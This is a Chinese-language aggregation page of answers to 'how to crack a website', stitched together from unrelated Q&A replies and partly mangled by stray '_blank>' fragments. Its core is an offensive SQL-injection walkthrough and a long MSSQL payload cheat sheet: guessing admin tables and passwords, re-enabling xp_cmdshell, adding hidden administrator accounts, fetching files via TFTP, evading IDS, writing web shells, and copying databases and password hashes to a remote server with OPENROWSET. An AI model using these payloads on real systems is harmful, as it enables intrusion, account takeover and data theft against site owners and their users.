如何破解網站
① 如何破解網站VIP教程
黑客進犯網站方法及解決方法
1、網站掛馬
網站掛馬的意思即是說黑客經過一些手法把不屬於你網站的連接掛載顯如今你的網站上
,一般這種狀況咱們能夠用指令查看,在搜索引擎框中site:www.xxx.com,查看你網站錄入中是不是有不屬於你網站的連接,比方我的網站查看的話site:www.caihong搜索引擎優化.com。
當發現網站上有不同的連接時,你能夠翻開這個快照或許直接進入地址,然後仿製這個快照連接地址,在網站根目錄依據這個地址找到這個文件,刪去。以後你能夠在快照地址發現有一個快照投訴,這兒要注意的是投訴快照要在你網站優化沒有疑問的狀況下,由於你投訴快照,搜索引擎會派蜘蛛細心抓取你網站,也許會返現很多扣分的小疑問。
2、網站黑鏈
網站黑鏈一般狀況咱們表面是看不到的,一般這些黑鏈會被黑客做成跟網站背景色相同,或許字體十分小,人的肉眼根本發現不了頁面跟一般的頁面是相同的,可是在網站源代碼中能夠看到這些非法連接,所以往常你也要養成查看網站源代碼的習氣。
關於這些黑鏈咱們就需求找到文件所在位置把它從頭編輯刪去黑鏈,從頭上載。像下邊這個狀況就需求找到foot文件,刪去這些賭錢連接,然後從頭上載到網站根目錄掩蓋曾經的文件。
3、蜘蛛綁架
當你點擊網站的時分會跳轉到其他的網站連接,這個是比照根底的,還有是比照高超的一種,會判別辨認點擊用戶,是用戶顯現正常的頁面,如果是搜索引擎的話就顯現的是跳轉頁面,完成蜘蛛綁架。
關於這種狀況咱們就需求憑借東西來完成判別,比照咱們頁面的搜索引擎與一般用戶看到的成果比照是不是相同,當如果發現黑鏈時在網站後台找到這條連接的地址直接刪去。
4、DDOS流量進犯
流量進犯幾乎是如今最有用的進犯網站的方法了,刷你網站的流量,當流量不行時導致網站封閉,關於這種現在還沒有很好的解決方法,呈現這種狀況仍是比照主張你采購流量,不要讓網站封閉就能夠。
② 如何破解網站登陸密碼
SQL注入!
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。如這是一個正常的網址http://localhost/lawjia/show.asp?ID=444,將這個網址提交到伺服器後,伺服器將進行類似Select * from 表名 where 欄位="&ID的查詢(ID即客戶端提交的參數,本例是即444),再將查詢結果返回給客戶端,如果這里客戶端故意提交這么一個網址:
http://localhost/lawjia/show.asp?ID=444 and user>0,這時,伺服器運行Select * from 表名 where 欄位=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'sonybb' 轉換為數據類型為 int 的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行
但是別有用心的人從這個出錯信息中,可以獲得以下信息:該站使用MS_SQL資料庫,用ODBC連接,連接帳號名為:sonybb。所謂SQL注入(SQL Injection),就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當某個人知道網站管理員帳號存在表login中,管理員帳號名為admin,他想知道管理員密碼,這里他從客戶端接著提交這樣一個網址:
http://localhost/lawjia/show.asp?ID=444 and (Select password from login where user_name='admin')>0,返回的出錯信息如下:
·錯誤類型:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 '!@#*&admin' 轉換為數據類型為 int 的列時發生語法錯誤。
/lawjia/show.asp, 第 47 行
你知道嗎?上面標紅的部分就是管理員帳號admin的密碼!雖然很復雜,讓人看幾遍也記不住的,但它就這樣顯示在你面前了,這時您就可以用這個帳號和密碼接管人家的網站了!這時你可能還會說,如果他不是事先知道管理員帳號存在表login中,而且知道管理員帳號為admin,那他就不可能獲得管理員密碼。你錯了,只要人家願意多花時間嘗試,他將可以獲得資料庫連接帳號許可權內所能獲得的所有信息!具體過程請參看網上的這篇文章:SQL注入漏洞全接觸。
當然這個過程是很煩瑣的而且要花費很多的時間,如果只能以這種手動方式進行SQL注入入侵的話,那麼許多存在SQL注入漏洞的ASP網站會安全很多了,不是漏洞不存在了,而是利用這個漏洞入侵的成本太高了。但是如果利用專門的黑客工具來入侵的話,那情況就大大不同了。手動方式進行SQL注入入侵至少需要半天或一天乃至很多天的時間,而利用專門的工具來入侵就只需要幾分鍾時間了(視網速快慢決定),再利用獲得的管理帳號和密碼,上傳一個從網上下載的ASP後門程序,就輕易獲得整個網站的管理許可權了,甚至整個伺服器的管理許可權。最有名的一種SQL注入入侵工具是NBSI 2.0,現在已經出到2.0版本了,不過,人家正式名稱不叫SQL注入入侵工具,而叫做網站安全漏洞檢測工具。有了這個所謂的檢測工具,使得入侵存在SQL注入漏洞的ASP網站成了小兒科的游戲,那些既不懂ASP又不懂SQL、年紀小小的男性青年常常得以在一天之內入侵十多個ASP網站,他們以此獲得內心的極大滿足。他們似乎也非常講究職業道德,往往並不破壞網站數據和系統,常見的破壞方式大都僅僅是改換掉網站的主頁,留下"善意的警告",如:你的網站存在SQL注入漏洞,請管理員做好防範措施!並聲明"我沒有破壞數據和系統",有的還要借機發布一下他的倡導:"國內網站大家不要入侵,有本事入侵小日本的!",最後,簽上他的鼎鼎大名是必不可少的程序。
如此大的成就多數情況下僅需動動滑鼠就做到了。打開最新版的NBSI 2.0,如圖1所示:輸入地址到A區,注意網址必須是帶傳遞參數的那種,點擊右邊的檢測按鈕,即出來B區信息,顯示當前用戶為sonybb的許可權為PUBLIC,當前庫為lawjia。有點可惜啊,如果是SA許可權的話,就可以跨庫注入了。不過,這個許可權也足夠獲取該網站管理員帳號和密碼了。點C區下的自動猜解按鈕,即出來當前庫lawjia中的各種表,哇,login表中一定是存管理員帳號和密碼的吧?選中它吧,接著點擊D區下的自動猜解按鈕,立即出來login表裡的列名稱,果然是存放用戶名和密碼的啊,太棒了!趕快打上勾,迫不急待的點擊E區下的自動猜解按鈕。激動人心的時刻就要到來啦,只見唰唰地幾下,帳號與密碼全部出來了。剩下的事就是辨別哪一個帳號是管理員了
③ 怎麼破解網站
指定用戶名破譯的話首先看看網站是否有驗證碼和次數限制,有的話,在本地構造提交表單繞過伺服器的驗證和次數限制來操作,還有一個辦法就是找網站存在的相關漏洞點,通過這個拿到admin然後下庫或者直接加許可權就行了,不過你自己的網站你直接把FTP里的數據重置不就可以了嗎
④ 網站有限制如何破解
沒有辦法,公司的限制網關在你們公司的互聯網出入口處,只有通過登錄網關修改你的上網帶寬才能解決,你這樣改來改去的,如果公司做了MAC與IP綁定的話,有可能網都上不去,現在網關的上網認證手段很多,可能IP+MAC+機器特徵碼,所以你改也沒有用,只能跟網管中心的人說一下,單獨放一些帶寬,企業的網關就是企業管理的一個電子化輔助設備。
⑤ 怎樣破解網址
網路搜秘訣
⑥ 怎麼破解網站密碼
如果是你的網站,那麼你肯定有FTP的用戶名個密碼,那麼也能進資料庫,在資料庫里改好了,如果不是你的網站,就不要做這種事了
⑦ 如何快速破解網站密碼
破解畢竟是不好的吧
不過有兩種情況
如果網站是你的 自己擁有一定的許可權 但是密碼丟失
這個驗證一下許可權 其他幾種辦法可以解決登錄
如果網站是別人的...建議不要了
嚴重的是破壞計算機安全罪 還有公司安全條例 等等
事大了是要坐牢的
不要認為 不拍黃片就不違法 傳播也是重罪
何況給你提供工具還教你...
祝你早日擺脫苦惱
您的採納是咱互助的動力源泉 感謝理解
⑧ 怎樣才能破解網站
入侵網站必備(經典語句)
.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到00)--
and 1=(select
count(*) from admin where len(用戶欄位名稱name)>0)
and 1=(select count(*) from
admin where len(_blank>密碼欄位名稱password)>0)
5.猜解各個欄位的長度
猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and
1=(select count(*) from admin where len(name)=6) 正確
and 1=(select
count(*) from admin where len(password)>11) 正確
and 1=(select count(*)
from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from
admin where len(password)=12) 正確
6.猜解字元
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
group by users.id having 1=1--
group by users.id, users.username,
users.password, users.privs having 1= 1--
; insert into users values( 666,
attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME
FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>
_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM
INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE
COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1
COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE
TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1
login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM
logintable where login_blank>_name=Rahul--
看_blank>伺服器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
看_blank>資料庫連接賬號的許可權,返回正常,證明是_blank>伺服器角色sysadmin許可權。
and
1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判斷連接_blank>資料庫帳號。(採用SA賬號連接 返回正常=證明了連接賬號是SA)
and sa=(SELECT
System_blank>_user)--
and user_blank>_name()=dbo--
and
0(select user_blank>_name()--
看xp_blank>_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =
xp_blank>_cmdshell)--
xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC
master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:
\inetpub\wwwroot\xplog70.dll--
反向PING自己實驗
;use master;declare @s
int;exec sp_blank>_oacreate wscript.shell,@s out;exec sp_blank>_oamethod
@s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帳號
;DECLARE @shell
INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>
_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$
1866574 /add--
創建一個虛擬目錄E盤:
;declare @o int exec
sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w 默認Web站點 -v e,e: \--
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_blank>_oacreate
wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe
c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫
特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0(select top 1 paths from
newtable)--
得到庫名(從1到5都是系統的id,6以上才可以判斷)
and 1=(select name from
master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9....
得到更多的_blank>資料庫名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0 (select top
1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid>(str (id))) 暴到UID的數值假設為18779569 uid=id
and
0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一個admin的一個欄位,假設為 user_blank>_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的欄位
and 0_id from BBS.dbo.admin where username>1)
可以得到用戶名
依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,password 等欄位
and 0(select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 判斷id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有欄位
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1
swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread
@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet
\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create
table cmd (str image);-- 建立image類型的表cmd
存在xp_blank>_cmdshell的測試過程:
;exec master..xp_blank>_cmdshell dir
;exec
master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號
;exec
master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec
master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec
master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec
master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$
/add;--
exec master..xp_blank> _servicecontrol start, schele
啟動_blank>服務
exec master..xp_blank>_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null,
C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
;
exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm』+』dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to
disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset
(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin
hax)
查詢構造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and
right(left(userpass,01),1)=1) and userpass
select 123;--
;use
master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1(select
count (email) from [user]);--
;update [users] set email=(select top 1 name
from sysobjects where xtype=u and status>0) where name=ffff;--
;update
[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)
where name=ffff;--
;update [users] set email=(select top 1 name from
sysobjects where xtype=u and id>581577110) where name=ffff;--
;update
[users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where
name=ffff;--
;update [users] set email=(select top 1 name from password
where id=2) where name=ffff;--
上面的語句是得到_blank>資料庫中的第一個用戶表,並把表名放在ffff用戶的郵箱欄位中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字
insert into
users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert
into users values( 667,123,123,0xffff)--
insert into users values ( 123,
admin--, password, 0xffff)--
;and user>0
;and (select count(*) from
sysobjects)>0
;and (select count(*) from mysysobjects)>0
//為access_blank>資料庫
枚舉出數據表名
;update aaa set aaa=(select top 1
name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name剛才得到的表名)。
;update aaa set
aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
namevote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止。
讀欄位是這樣:
;update aaa set aaa=(select top 1
col_blank>_name (object_blank>_id(表名),1));--
然後id=152 and
exists(select * from aaa where aaa>5)出錯,得到欄位名
;update aaa set aaa=(select
top 1 col_blank>_name(object_blank>_id(表名),2));--
然後id=152 and
exists(select * from aaa where aaa>5)出錯,得到欄位名
[獲得數據表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1
name from sysobjects where xtype=u and status>0 [ and name你得到的表名
查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and
status>0 and name not in(table1,table2,…)
通過SQLSERVER注入_blank>漏洞建_blank>資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位= (select
top 1 col_blank>_name(object_blank>_id(要查詢的數據表名),欄位列如:1) [ where 條件]
繞過IDS的檢測[使用變數]
;declare @a sysname set @a=xp_blank>_+cmdshell
exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm』+』dshell exec @a
dir c:\
1、 開啟遠程_blank>資料庫
基本語法
select * from
OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
參數: (1) OLEDB Provider name
2、 其中連接字元串參數可以是任何埠用來連接,比如
select * from
OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,
select * from table
3.復制目標主機的整個_blank>資料庫
insert所有遠程表到本地表。
基本語法:
insert into OPENROWSET(SQLOLEDB,
server=servername;uid=sa;pwd=123, select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程_blank>資料庫中的table1表中。實際運用中適當修改連接字元串的IP地址和埠,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from table1) select * from table2
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert
into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from
user_blank> _database.dbo.sysobjects
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from
user_blank> _database.dbo.syscolumns
復制_blank>資料庫:
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *
from database..table1
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table2) select * from database..table2
復制哈西表(HASH)登錄_blank>密碼的hash存儲於sysxlogins中。方法如下:
insert into
OPENROWSET (SQLOLEDB,
uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之後,就可以進行暴力破解。
遍歷目錄的方法: 先創建一個臨時表:temp
;create table temp(id
nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;--
獲得所有子目錄的目錄樹結構,並寸入temp表中
;insert into temp(id) exec
master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某個文件的內容
;insert
into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into
temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert
into temp(id) exec master.dbo.xp_blank> _cmdshell cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1)
exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree適用許可權PUBLIC)
寫入表:
語句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
語句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
語句3:and
1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
語句4:and 1=(SELECT
IS_blank>_SRVROLEMEMBER(securityadmin));--
語句5:and 1=(SELECT
IS_blank>_SRVROLEMEMBER (securityadmin));--
語句6:and 1=(SELECT
IS_blank>_SRVROLEMEMBER(diskadmin));--
語句7:and 1= (SELECT
IS_blank>_SRVROLEMEMBER(bulkadmin));--
語句8:and 1=(SELECT
IS_blank>_SRVROLEMEMBER (bulkadmin));--
語句9:and 1=(SELECT
IS_blank>_MEMBER(db_blank>_owner));--
把路徑寫到表中去:
;create table
dirs(paths varchar(100), id int)--
;insert dirs exec
master.dbo.xp_blank>_dirtree c:\--
and 0(select top 1 paths from
dirs)--
and 0 (select top 1 paths from dirs where paths not
in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and
0(select top 1 paths from dirs1)--
把_blank>資料庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_blank>_name();backup database @a to
disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12
id,name from sysobjects where xtype=char(85)) T order by id desc)
and
1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1)
from sysobjects) 參看相關表。
and 1=(select user_blank>_id from
USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where
user>1)
-=- wscript.shell example -=-
declare @o int
exec
sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o,
run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate
wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec
sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret =
sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec
sp_blank>_oacreate scripting.filesystemobject, @o out
exec
sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
declare @o int, @ret int
exec sp_blank>_oacreate
speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL,
foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec
sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us,
528
waitfor delay 00:00:05
; declare @o int, @ret int exec
sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o,
register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us,
528 waitfor delay 00:00:05--
xp_blank>_dirtree適用許可權PUBLIC
exec
master.dbo.xp_blank>_dirtree c:\
返回的信息有兩個欄位
subdirectory、depth。Subdirectory欄位是字元型,depth欄位是整形欄位。
create table dirs(paths
varchar(100), id int)
建表,這里建的表是和上面xp_blank>_dirtree相關連,欄位相等、類型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我們建表與存儲進程返回的欄位相定義相等就能夠執行!達到寫表的效果,
一步步達到我們想要的信息!
⑨ 如何破解網頁
方法一:破解網頁不能復制的方法:
單擊IE瀏覽器的「工具」——「internet選項」——「安全」,將其中的「internet」的安全級別設為最高級別,「確定」後刷新網頁即可。也可以點擊IE菜單欄上的"文件"->發送->電子郵件頁面(跟這向導說的去做就可以拉,一路點擊'下一步")然後就可以在彈出的郵件窗口中復制你要的內容就可以了。
安全級別最高的時候,一切控制項和腳本均不能運行,再厲害的網頁限制手段統統全部作廢。
方法二:破解網頁不能復制的方法:
但對有些網頁卻不管用因為他們並不用腳本限制我們的(好象起點就是這樣),他們在網頁中加了如下代碼:
禁止左鍵 〈body onselectstart="return false"〉
禁止右鍵 〈body oncontextmenu=self.event.returnvalue=false〉
結合起來禁止左右鍵
〈body oncontextmenu=self.event.returnvalue=false onselectstart="return false">
現在一般禁止網頁復制的代碼就是在<body>里加入以下代碼:
<body oncontextmenu="return false" onselectstart="return ">
以前我是用這樣解決的,就是先把網頁另存為,保存在本地之後,再對本地的那個頁面用記事本編輯,把上面這段代碼去掉就可以復制內容了。
今天在網上看到另外一個有意思的解決辦法:就是把下面這段代碼復制到地址欄,然後按回車鍵。之後就可以復制當前頁面了。
javascript:alert(document.onselectstart = document.oncontextmenu= document.onmousedown = document.onkeydown= function(){return true;});
方法三:破解網頁不能復制的方法:用word破解
首先復制網頁地址,然後打開Word,依次單擊「文件/打開」,彈出「打開」窗口。在「文件名」中用「Ctrl+V」粘貼入已復制的網頁地址,再單擊「打開」按鈕,這里Word就會自動連接到網站。在打開網頁之前,可能會彈出「Word 沒有足夠的內存,此操作完成後無法撤消。是否繼續?」的提示窗口,單擊「是」,即彈出新的窗口,詢問是否信任文件來源,再單擊「是」後,Word會自動鏈接到對應的伺服器並打開網頁,這時我們就可以選中其中的文字進行復制粘貼了。